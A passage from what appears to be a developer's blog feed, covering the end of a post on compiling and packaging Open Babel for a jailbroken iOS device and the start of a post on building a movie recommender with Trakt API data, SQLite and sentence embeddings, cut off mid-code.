/var/root/obabel/ob-src/include/openbabel/typer.h:70:1: error: thread-local storage is not supported for the current target
THREAD_LOCAL OB_EXTERN OBAtomTyper      atomtyper;
^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
In file included from /var/root/obabel/ob-src/src/atom.cpp:28:
In file included from /var/root/obabel/ob-src/include/openbabel/ring.h:29:
/var/root/obabel/ob-src/include/openbabel/typer.h:84:1: error: thread-local storage is not supported for the current target
THREAD_LOCAL OB_EXTERN OBAromaticTyper  aromtyper;
^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
/var/root/obabel/ob-src/src/atom.cpp:107:10: error: thread-local storage is not supported for the current target
  extern THREAD_LOCAL OBAromaticTyper  aromtyper;
         ^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
/var/root/obabel/ob-src/src/atom.cpp:108:10: error: thread-local storage is not supported for the current target
  extern THREAD_LOCAL OBAtomTyper      atomtyper;
         ^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
/var/root/obabel/ob-src/src/atom.cpp:109:10: error: thread-local storage is not supported for the current target
  extern THREAD_LOCAL OBPhModel        phmodel;
         ^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
5 errors generated.
make[2]: *** [src/CMakeFiles/openbabel.dir/build.make:76: src/CMakeFiles/openbabel.dir/atom.cpp.o] Error 1
make[1]: *** [CMakeFiles/Makefile2:1085: src/CMakeFiles/openbabel.dir/all] Error 2
make: *** [Makefile:129: all] Error 2
</code></pre>

<p>Strange but it is alright, there is nothing that hasn't been answered on the internet.</p>

<p>I did a little digging around and could not find a solution 😔</p>

<p>As a temporary fix, I disabled multithreading by going and commenting the lines in the source code.</p>

<p><img src="/assets/posts/open-babel/s1.png" alt="&quot;Open-Babel running on my iPad&quot;" /></p>

<h2 id="packaging-as-a-deb">Packaging as a deb</h2>

<p>This was pretty straight forward, I tried installing it on my iPad and it was working pretty smoothly.</p>

<h2 id="moment-of-truth">Moment of Truth</h2>

<p>So I airdropped the .deb to my phone and tried installing it, the installation was successful but when I tried <code>obabel</code> it just aborted.</p>

<p><img src="/assets/posts/open-babel/s2.jpg" alt="&quot;Open Babel crashing&quot;" /></p>

<p>Turns out because I had created an install target of a separate folder while compiling, the binaries were referencing a non-existing dylib rather than those in the /usr/lib folder. As a quick workaround I transferred the deb folder to my laptop and used otool and install_name tool: <code>install_name_tool -change /var/root/obabel/ob-build/lib/libopenbabel.7.dylib /usr/lib/libopenbabel.7.dylib</code> for all the executables and then signed them using jtool</p>

<p>I then installed it and everything went smoothly, I even ran <code>obabel</code> and it executed perfectly, showing the version number 3.1.0 ✌️ Ahh, smooth victory.</p>

<p>Nope. When I tried converting from SMILES to pdbqt, it gave an error saying plugin not found. This was weird.</p>

<p><img src="/assets/posts/open-babel/s3.jpg" alt="&quot;Open Babel Plugin Error&quot;" /></p>

<p>So I just copied the entire build folder from my iPad to my phone and tried running it. Oops, Apple Sandbox Error, Oh no!</p>

<p>I spent 2 hours around this problem, only to see the documentation and realise I hadn't setup the environment variable 🤦‍♂️</p>

<h2 id="the-final-fix-for-now">The Final Fix ( For Now )</h2>

<pre><code>export BABEL_DATADIR="/usr/share/openbabel/3.1.0"
export BABEL_LIBDIR="/usr/lib/openbabel/3.1.0"
</code></pre>

<p>This was the tragedy of trying to compile something without knowing enough about compiling. It is 11:30 as of writing this. Something as trivial as this should not have taken me so long. Am I going to try to compile AutoDock Vina next? 🤔 Maybe.</p>

<p>Also, if you want to try Open Babel on you jailbroken iDevice, install the package from my repository ( You, need to run the above mentioned final fix :p ). This was tested on iOS 13.5, I cannot tell if it will work on others or not.</p>

<p>Hopefully, I add some more screenshots to this post.</p>

<p>Edit 1: Added Screenshots, had to replicate the errors.</p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2022-05-21-Similar-Movies-Recommender.html
			</guid>
			<title>
				Building a Similar Movies Recommendation System
			</title>
			<description>
				Building a Content Based Similar Movies Recommendatiom System
			</description>
			<link>https://web.navan.dev/posts/2022-05-21-Similar-Movies-Recommender.html</link>
			<pubDate>Sat, 21 May 2022 17:56:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="building-a-similar-movies-recommendation-system">Building a Similar Movies Recommendation System</h1>

<h2 id="why">Why?</h2>

<p>I recently came across a movie/tv-show recommender, <a rel="noopener" target="_blank" href="https://couchmoney.tv/">couchmoney.tv</a>. I loved it. I decided that I wanted to build something similar, so I could tinker with it as much as I wanted.</p>

<p>I also wanted a recommendation system I could use via a REST API. Although I have not included that part in this post, I did eventually create it.</p>

<h2 id="how">How?</h2>

<p>By measuring the cosine of the angle between two vectors, you can get a value in the range [0,1] with 0 meaning no similarity. Now, if we find a way to represent information about movies as a vector, we can use cosine similarity as a metric to find similar movies.</p>

<p>As we are recommending just based on the content of the movies, this is called a content based recommendation system.</p>

<h2 id="data-collection">Data Collection</h2>

<p>Trakt exposes a nice API to search for movies/tv-shows. To access the API, you first need to get an API key (the Trakt ID you get when you create a new application). </p>

<p>I decided to use SQL-Alchemy with a SQLite backend just to make my life easier if I decided on switching to Postgres anytime I felt like. </p>

<p>First, I needed to check the total number of records in Trakt’s database.</p>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">os</span>

<span class="n">trakt_id</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">getenv</span><span class="p">(</span><span class="s2">&quot;TRAKT_ID&quot;</span><span class="p">)</span>

<span class="n">api_base</span> <span class="o">=</span> <span class="s2">&quot;https://api.trakt.tv&quot;</span>

<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s2">&quot;Content-Type&quot;</span><span class="p">:</span> <span class="s2">&quot;application/json&quot;</span><span class="p">,</span>
    <span class="s2">&quot;trakt-api-version&quot;</span><span class="p">:</span> <span class="s2">&quot;2&quot;</span><span class="p">,</span>
    <span class="s2">&quot;trakt-api-key&quot;</span><span class="p">:</span> <span class="n">trakt_id</span>
<span class="p">}</span>

<span class="n">params</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s2">&quot;query&quot;</span><span class="p">:</span> <span class="s2">&quot;&quot;</span><span class="p">,</span>
    <span class="s2">&quot;years&quot;</span><span class="p">:</span> <span class="s2">&quot;1900-2021&quot;</span><span class="p">,</span>
    <span class="s2">&quot;page&quot;</span><span class="p">:</span> <span class="s2">&quot;1&quot;</span><span class="p">,</span>
    <span class="s2">&quot;extended&quot;</span><span class="p">:</span> <span class="s2">&quot;full&quot;</span><span class="p">,</span>
    <span class="s2">&quot;languages&quot;</span><span class="p">:</span> <span class="s2">&quot;en&quot;</span>
<span class="p">}</span>

<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;</span><span class="si">{</span><span class="n">api_base</span><span class="si">}</span><span class="s2">/search/movie&quot;</span><span class="p">,</span><span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span><span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>
<span class="n">total_items</span> <span class="o">=</span> <span class="n">res</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s2">&quot;x-pagination-item-count&quot;</span><span class="p">]</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;There are </span><span class="si">{</span><span class="n">total_items</span><span class="si">}</span><span class="s2"> movies&quot;</span><span class="p">)</span>
</code></pre>
</div>

<pre><code>There are 333946 movies
</code></pre>

<p>First, I needed to declare the database schema in (<code>database.py</code>):</p>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">sqlalchemy</span>
<span class="kn">from</span> <span class="nn">sqlalchemy</span> <span class="kn">import</span> <span class="n">create_engine</span>
<span class="kn">from</span> <span class="nn">sqlalchemy</span> <span class="kn">import</span> <span class="n">Table</span><span class="p">,</span> <span class="n">Column</span><span class="p">,</span> <span class="n">Integer</span><span class="p">,</span> <span class="n">String</span><span class="p">,</span> <span class="n">MetaData</span><span class="p">,</span> <span class="n">ForeignKey</span><span class="p">,</span> <span class="n">PickleType</span>
<span class="kn">from</span> <span class="nn">sqlalchemy</span> <span class="kn">import</span> <span class="n">insert</span>
<span class="kn">from</span> <span class="nn">sqlalchemy.orm</span> <span class="kn">import</span> <span class="n">sessionmaker</span>
<span class="kn">from</span> <span class="nn">sqlalchemy.exc</span> <span class="kn">import</span> <span class="n">IntegrityError</span>

<span class="n">meta</span> <span class="o">=</span> <span class="n">MetaData</span><span class="p">()</span>

<span class="n">movies_table</span> <span class="o">=</span> <span class="n">Table</span><span class="p">(</span>
    <span class="s2">&quot;movies&quot;</span><span class="p">,</span>
    <span class="n">meta</span><span class="p">,</span>
    <span class="n">Column</span><span class="p">(</span><span class="s2">&quot;trakt_id&quot;</span><span class="p">,</span> <span class="n">Integer</span><span class="p">,</span> <span class="n">primary_key</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span> <span class="n">autoincrement</span><span class="o">=</span><span class="kc">False</span><span class="p">),</span>
    <span class="n">Column</span><span class="p">(</span><span class="s2">&quot;title&quot;</span><span class="p">,</span> <span class="n">String</span><span class="p">),</span>
    <span class="n">Column</span><span class="p">(</span><span class="s2">&quot;overview&quot;</span><span class="p">,</span> <span class="n">String</span><span class="p">),</span>
    <span class="n">Column</span><span class="p">(</span><span class="s2">&quot;genres&quot;</span><span class="p">,</span> <span class="n">String</span><span class="p">),</span>
    <span class="n">Column</span><span class="p">(</span><span class="s2">&quot;year&quot;</span><span class="p">,</span> <span class="n">Integer</span><span class="p">),</span>
    <span class="n">Column</span><span class="p">(</span><span class="s2">&quot;released&quot;</span><span class="p">,</span> <span class="n">String</span><span class="p">),</span>
    <span class="n">Column</span><span class="p">(</span><span class="s2">&quot;runtime&quot;</span><span class="p">,</span> <span class="n">Integer</span><span class="p">),</span>
    <span class="n">Column</span><span class="p">(</span><span class="s2">&quot;country&quot;</span><span class="p">,</span> <span class="n">String</span><span class="p">),</span>
    <span class="n">Column</span><span class="p">(</span><span class="s2">&quot;language&quot;</span><span class="p">,</span> <span class="n">String</span><span class="p">),</span>
    <span class="n">Column</span><span class="p">(</span><span class="s2">&quot;rating&quot;</span><span class="p">,</span> <span class="n">Integer</span><span class="p">),</span>
    <span class="n">Column</span><span class="p">(</span><span class="s2">&quot;votes&quot;</span><span class="p">,</span> <span class="n">Integer</span><span class="p">),</span>
    <span class="n">Column</span><span class="p">(</span><span class="s2">&quot;comment_count&quot;</span><span class="p">,</span> <span class="n">Integer</span><span class="p">),</span>
    <span class="n">Column</span><span class="p">(</span><span class="s2">&quot;tagline&quot;</span><span class="p">,</span> <span class="n">String</span><span class="p">),</span>
    <span class="n">Column</span><span class="p">(</span><span class="s2">&quot;embeddings&quot;</span><span class="p">,</span> <span class="n">PickleType</span><span class="p">)</span>

<span class="p">)</span>

<span class="c1"># Helper function to connect to the db</span>
<span class="k">def</span> <span class="nf">init_db_stuff</span><span class="p">(</span><span class="n">database_url</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
    <span class="n">engine</span> <span class="o">=</span> <span class="n">create_engine</span><span class="p">(</span><span class="n">database_url</span><span class="p">)</span>
    <span class="n">meta</span><span class="o">.</span><span class="n">create_all</span><span class="p">(</span><span class="n">engine</span><span class="p">)</span>
    <span class="n">Session</span> <span class="o">=</span> <span class="n">sessionmaker</span><span class="p">(</span><span class="n">bind</span><span class="o">=</span><span class="n">engine</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">engine</span><span class="p">,</span> <span class="n">Session</span>
</code></pre>
</div>

<p>In the end, I could have dropped the embeddings field from the table schema as I never got around to using it.</p>

<h3 id="scripting-time">Scripting Time</h3>

<div class="codehilite">
<pre><span></span><code><span class="kn">from</span> <span class="nn">database</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">tqdm</span> <span class="kn">import</span> <span class="n">tqdm</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">os</span>

<span class="n">trakt_id</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">getenv</span><span class="p">(</span><span class="s2">&quot;TRAKT_ID&quot;</span><span class="p">)</span>

<span class="n">max_requests</span> <span class="o">=</span> <span class="mi">5000</span> <span class="c1"># How many requests I wanted to wrap everything up in</span>
<span class="n">req_count</span> <span class="o">=</span> <span class="mi">0</span> <span class="c1"># A counter for how many requests I have made</span>

<span class="n">years</span> <span class="o">=</span> <span class="s2">&quot;1900-2021&quot;</span> 
<span class="n">page</span> <span class="o">=</span> <span class="mi">1</span> <span class="c1"># The initial page number for the search</span>
<span class="n">extended</span> <span class="o">=</span> <span class="s2">&quot;full&quot;</span> <span class="c1"># Required to get additional information </span>
<span class="n">limit</span> <span class="o">=</span> <span class="s2">&quot;10&quot;</span> <span class="c1"># No of entires per request -- This will be automatically picked based on max_requests</span>
<span class="n">languages</span> <span class="o">=</span> <span class="s2">&quot;en&quot;</span> <span class="c1"># Limit to English</span>

<span class="n">api_base</span> <span class="o">=</span> <span class="s2">&quot;https://api.trakt.tv&quot;</span>
<span class="n">database_url</span> <span class="o">=</span> <span class="s2">&quot;sqlite:///jlm.db&quot;</span>

<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s2">&quot;Content-Type&quot;</span><span class="p">:</span> <span class="s2">&quot;application/json&quot;</span><span class="p">,</span>
    <span class="s2">&quot;trakt-api-version&quot;</span><span class="p">:</span> <span class="s2">&quot;2&quot;</span><span class="p">,</span>
    <span class="s2">&quot;trakt-api-key&quot;</span><span class="p">:</span> <span class="n">trakt_id</span>
<span class="p">}</span>

<span class="n">params</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s2">&quot;query&quot;</span><span class="p">:</span> <span class="s2">&quot;&quot;</span><span class="p">,</span>
    <span class="s2">&quot;years&quot;</span><span class="p">:</span> <span class="n">years</span><span class="p">,</span>
    <span class="s2">&quot;page&quot;</span><span class="p">:</span> <span class="n">page</span><span class="p">,</span>
    <span class="s2">&quot;extended&quot;</span><span class="p">:</span> <span class="n">extended</span><span class="p">,</span>
    <span class="s2">&quot;limit&quot;</span><span class="p">:</span> <span class="n">limit</span><span class="p">,</span>
    <span class="s2">&quot;languages&quot;</span><span class="p">:</span> <span class="n">languages</span>
<span class="p">}</span>

<span class="c1"># Helper function to get desirable values from the response</span>
<span class="k">def</span> <span class="nf">create_movie_dict</span><span class="p">(</span><span class="n">movie</span><span class="p">:</span> <span class="nb">dict</span><span class="p">):</span>
    <span class="n">m</span> <span class="o">=</span> <span class="n">movie</span><span class="p">[</span><span class="s2">&quot;movie&quot;</span><span class="p">]</span>
    <span class="n">movie_dict</span> <span class="o">=</span> <span class="p">{</span>
        <span class="s2">&quot;title&quot;</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">&quot;title&quot;</span><span class="p">],</span>
        <span class="s2">&quot;overview&quot;</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">&quot;overview&quot;</span><span class="p">],</span>
        <span class="s2">&quot;genres&quot;</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">&quot;genres&quot;</span><span class="p">],</span>
        <span class="s2">&quot;language&quot;</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">&quot;language&quot;</span><span class="p">],</span>
        <span class="s2">&quot;year&quot;</span><span class="p">:</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="s2">&quot;year&quot;</span><span class="p">]),</span>
        <span class="s2">&quot;trakt_id&quot;</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">&quot;ids&quot;</span><span class="p">][</span><span class="s2">&quot;trakt&quot;</span><span class="p">],</span>
        <span class="s2">&quot;released&quot;</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">&quot;released&quot;</span><span class="p">],</span>
        <span class="s2">&quot;runtime&quot;</span><span class="p">:</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="s2">&quot;runtime&quot;</span><span class="p">]),</span>
        <span class="s2">&quot;country&quot;</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">&quot;country&quot;</span><span class="p">],</span>
        <span class="s2">&quot;rating&quot;</span><span class="p">:</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="s2">&quot;rating&quot;</span><span class="p">]),</span>
        <span class="s2">&quot;votes&quot;</span><span class="p">:</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="s2">&quot;votes&quot;</span><span class="p">]),</span>
        <span class="s2">&quot;comment_count&quot;</span><span class="p">:</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="s2">&quot;comment_count&quot;</span><span class="p">]),</span>
        <span class="s2">&quot;tagline&quot;</span><span class="p">:</span> <span class="n">m</span><span class="p">[</span><span class="s2">&quot;tagline&quot;</span><span class="p">]</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">movie_dict</span>

<span class="c1"># Get total number of items</span>
<span class="n">params</span><span class="p">[</span><span class="s2">&quot;limit&quot;</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;</span><span class="si">{</span><span class="n">api_base</span><span class="si">}</span><span class="s2">/search/movie&quot;</span><span class="p">,</span><span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span><span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>
<span class="n">total_items</span> <span class="o">=</span> <span class="n">res</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s2">&quot;x-pagination-item-count&quot;</span><span class="p">]</span>

<span class="n">engine</span><span class="p">,</span> <span class="n">Session</span> <span class="o">=</span> <span class="n">init_db_stuff</span><span class="p">(</span><span class="n">database_url</span><span class="p">)</span>


<span class="k">for</span> <span class="n">page</span> <span class="ow">in</span> <span class="n">tqdm</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">max_requests</span><span class="o">+</span><span class="mi">1</span><span class="p">)):</span>
    <span class="n">params</span><span class="p">[</span><span class="s2">&quot;page&quot;</span><span class="p">]</span> <span class="o">=</span> <span class="n">page</span>
    <span class="n">params</span><span class="p">[</span><span class="s2">&quot;limit&quot;</span><span class="p">]</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">total_items</span><span class="p">)</span><span class="o">/</span><span class="n">max_requests</span><span class="p">)</span>
    <span class="n">movies</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;</span><span class="si">{</span><span class="n">api_base</span><span class="si">}</span><span class="s2">/search/movie&quot;</span><span class="p">,</span><span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span><span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>

    <span class="k">if</span> <span class="n">res</span><span class="o">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">500</span><span class="p">:</span>
        <span class="k">break</span>
    <span class="k">elif</span> <span class="n">res</span><span class="o">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">:</span>
        <span class="kc">None</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;OwO Code </span><span class="si">{</span><span class="n">res</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">)</span>

    <span class="k">for</span> <span class="n">movie</span> <span class="ow">in</span> <span class="n">res</span><span class="o">.</span><span class="n">json</span><span class="p">():</span>
        <span class="n">movies</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">create_movie_dict</span><span class="p">(</span><span class="n">movie</span><span class="p">))</span>

    <span class="k">with</span> <span class="n">engine</span><span class="o">.</span><span class="n">connect</span><span class="p">()</span> <span class="k">as</span> <span class="n">conn</span><span class="p">:</span>
        <span class="k">for</span> <span class="n">movie</span> <span class="ow">in</span> <span class="n">movies</span><span class="p">:</span>
            <span class="k">with</span> <span class="n">conn</span><span class="o">.</span><span class="n">begin</span><span class="p">()</span> <span class="k">as</span> <span class="n">trans</span><span class="p">:</span>
                <span class="n">stmt</span> <span class="o">=</span> <span class="n">insert</span><span class="p">(</span><span class="n">movies_table</span><span class="p">)</span><span class="o">.</span><span class="n">values</span><span class="p">(</span>
                    <span class="n">trakt_id</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">&quot;trakt_id&quot;</span><span class="p">],</span> <span class="n">title</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">&quot;title&quot;</span><span class="p">],</span> <span class="n">genres</span><span class="o">=</span><span class="s2">&quot; &quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">movie</span><span class="p">[</span><span class="s2">&quot;genres&quot;</span><span class="p">]),</span>
                    <span class="n">language</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">&quot;language&quot;</span><span class="p">],</span> <span class="n">year</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">&quot;year&quot;</span><span class="p">],</span> <span class="n">released</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">&quot;released&quot;</span><span class="p">],</span>
                    <span class="n">runtime</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">&quot;runtime&quot;</span><span class="p">],</span> <span class="n">country</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">&quot;country&quot;</span><span class="p">],</span> <span class="n">overview</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">&quot;overview&quot;</span><span class="p">],</span>
                    <span class="n">rating</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">&quot;rating&quot;</span><span class="p">],</span> <span class="n">votes</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">&quot;votes&quot;</span><span class="p">],</span> <span class="n">comment_count</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">&quot;comment_count&quot;</span><span class="p">],</span>
                    <span class="n">tagline</span><span class="o">=</span><span class="n">movie</span><span class="p">[</span><span class="s2">&quot;tagline&quot;</span><span class="p">])</span>
                <span class="k">try</span><span class="p">:</span>
                    <span class="n">result</span> <span class="o">=</span> <span class="n">conn</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="n">stmt</span><span class="p">)</span>
                    <span class="n">trans</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
                <span class="k">except</span> <span class="n">IntegrityError</span><span class="p">:</span>
                    <span class="n">trans</span><span class="o">.</span><span class="n">rollback</span><span class="p">()</span>
    <span class="n">req_count</span> <span class="o">+=</span> <span class="mi">1</span>
</code></pre>
</div>

<p>(Note: I was well within the rate-limit so I did not have to slow down or implement any other measures)</p>

<p>Running this script took me approximately 3 hours, and resulted in an SQLite database of 141.5 MB</p>

<h2 id="embeddings">Embeddings!</h2>

<p>I did not want to put my poor Mac through the estimated 23 hours it would have taken to embed the sentences. I decided to use Google Colab instead.</p>

<p>Because of the small size of the database file, I was able to just upload the file.</p>

<p>For the encoding model, I decided to use the pretrained <code>paraphrase-multilingual-MiniLM-L12-v2</code> model for SentenceTransformers, a Python framework for SOTA sentence, text and image embeddings. 
I wanted to use a multilingual model as I personally consume content in various languages and some of the sources for their information do not translate to English. 
As of writing this post, I did not include any other database except Trakt. </p>

<p>While deciding how I was going to process the embeddings, I came across multiple solutions:</p>

<ul>
<li><p><a rel="noopener" target="_blank" href="https://milvus.io">Milvus</a> - An open-source vector database with similar search functionality</p></li>
<li><p><a rel="noopener" target="_blank" href="https://faiss.ai">FAISS</a> - A library for efficient similarity search</p></li>
<li><p><a rel="noopener" target="_blank" href="https://pinecone.io">Pinecone</a> - A fully managed vector database with similar search functionality</p></li>
</ul>

<p>I did not want to waste time setting up the first two, so I decided to go with Pinecone which offers 1M 768-dim vectors for free with no credit card required (Our embeddings are 384-dim dense).</p>

<p>Getting started with Pinecone was as easy as:</p>

<ul>
<li><p>Signing up</p></li>
<li><p>Specifying the index name and vector dimensions along with the similarity search metric (Cosine Similarity for our use case)</p></li>
<li><p>Getting the API key</p></li>
<li><p>Installing the Python module (pinecone-client)</p></li>
</ul>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
<span class="kn">import</span> <span class="nn">pinecone</span>
<span class="kn">from</span> <span class="nn">sentence_transformers</span> <span class="kn">import</span> <span class="n">SentenceTransformer</span>
<span class="kn">from</span> <span class="nn">tqdm</span> <span class="kn">import</span> <span class="n">tqdm</span> 

<span class="n">database_url</span> <span class="o">=</span> <span class="s2">&quot;sqlite:///jlm.db&quot;</span>
<span class="n">PINECONE_KEY</span> <span class="o">=</span> <span class="s2">&quot;not-this-at-all&quot;</span>
<span class="n">batch_size</span> <span class="o">=</span> <span class="mi">32</span>

<span class="n">pinecone</span><span class="o">.</span><span class="n">init</span><span class="p">(</span><span class="n">api_key</span><span class="o">=</span><span class="n">PINECONE_KEY</span><span class="p">,</span> <span class="n">environment</span><span class="o">=</span><span class="s2">&quot;us-west1-gcp&quot;</span><span class="p">)</span>
<span class="n">index</span> <span class="o">=</span> <span class="n">pinecone</span><span class="o">.</span><span class="n">Index</span><span class="p">(</span><span class="s2">&quot;movies&quot;</span><span class="p">)</span>

<span class="n">model</span> <span class="o">=</span> <span class="n">SentenceTransformer</span><span class="p">(</span><span class="s2">&quot;paraphrase-multilingual-MiniLM-L12-v2&quot;</span><span class="p">,</span> <span class="n">device</span><span class="o">=</span><span class="s2">&quot;cuda&quot;</span><span class="p">)</span>
<span class="n">engine</span><span class="p">,</span> <span class="n">Session</span> <span class="o">=</span> <span class="n">init_db_stuff</span><span class="p">(</span><span class="n">database_url</span><span class="p">)</span>

<span class="n">df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_sql</span><span class="p">(</span><span class="s2">&quot;Select * from movies&quot;</span><span class="p">,</span> <span class="n">engine</span><span class="p">)</span>
<span class="n">df</span><span class="p">[</span><span class="s2">&quot;combined_text&quot;</span><span class="p">]</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="s2">&quot;title&quot;</span><span class="p">]</span> <span class="o">+</span> <span class="s2">&quot;: &quot;</span> <span class="o">+</span> <span class="n">df</span><span class="p">[</span><span class="s2">&quot;overview&quot;</span><span class="p">]</span><span class="o">.</span><span class="n">fillna</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&quot; -  &quot;</span> <span class="o">+</span> <span class="n">df</span><span class="p">[</span><span class="s2">&quot;tagline&quot;</span><span class="p">]</span><span class="o">.</span><span class="n">fillna</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&quot; Genres:-  &quot;</span> <span class="o">+</span> <span class="n">df</span><span class="p">[</span><span class="s2">&quot;genres&quot;</span><span class="p">]</span><span class="o">.</span><span class="n">fillna</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">)</span>

<span class="c1"># Creating the embedding and inserting it into the database</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">tqdm</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">df</span><span class="p">),</span><span class="n">batch_size</span><span class="p">)):</span>
    <span class="n">to_send</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">trakt_ids</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="s2">&quot;trakt_id&quot;</span><span class="p">][</span><span class="n">x</span><span class="p">:</span><span class="n">x</span><span class="o">+</span><span class="n">batch_size</span><span class="p">]</span><span class="o">.</span><span class="n">tolist</span><span class="p">()</span>
    <span class="n">sentences</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="s2">&quot;combined_text&quot;</span><span class="p">][</span><span class="n">x</span><span class="p">:</span><span class="n">x</span><span class="o">+</span><span class="n">batch_size</span><span class="p">]</span><span class="o">.</span><span class="n">tolist</span><span class="p">()</span>
    <span class="n">embeddings</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="n">sentences</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">idx</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">trakt_ids</span><span class="p">):</span>
        <span class="n">to_send</span><span class="o">.</span><span class="n">append</span><span class="p">(</span>
            <span class="p">(</span>
